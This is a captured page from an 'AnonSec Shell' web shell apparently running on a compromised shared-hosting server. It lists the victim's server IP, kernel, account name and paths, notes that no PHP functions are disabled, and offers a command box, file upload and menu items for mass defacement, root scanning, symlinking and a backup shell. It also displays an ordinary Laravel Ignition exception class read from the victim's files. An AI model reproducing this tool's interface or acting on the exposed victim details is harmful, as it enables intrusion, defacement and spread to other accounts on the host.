AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 3.12.151.11   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/allssztx/public_html/easybuyer/vendor/facade/ignition/src/Exceptions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/allssztx/public_html/easybuyer/vendor/facade/ignition/src/Exceptions/ViewException.php
<?php

namespace Facade\Ignition\Exceptions;

use ErrorException;
use Facade\FlareClient\Contracts\ProvidesFlareContext;
use Facade\Ignition\DumpRecorder\HtmlDumper;

class ViewException extends ErrorException implements ProvidesFlareContext
{
    /** @var array */
    protected $viewData = [];

    /** @var string */
    protected $view = '';

    public function setViewData(array $data)
    {
        $this->viewData = $data;
    }

    public function getViewData(): array
    {
        return $this->viewData;
    }

    public function setView(string $path)
    {
        $this->view = $path;
    }

    protected function dumpViewData($variable): string
    {
        return (new HtmlDumper())->dumpVariable($variable);
    }

    public function context(): array
    {
        $context = [
            'view' => [
                'view' => $this->view,
            ],
        ];

        if (config('flare.reporting.report_view_data')) {
            $context['view']['data'] = array_map([$this, 'dumpViewData'], $this->viewData);
        }

        return $context;
    }
}

Anon7 - 2022
AnonSec Team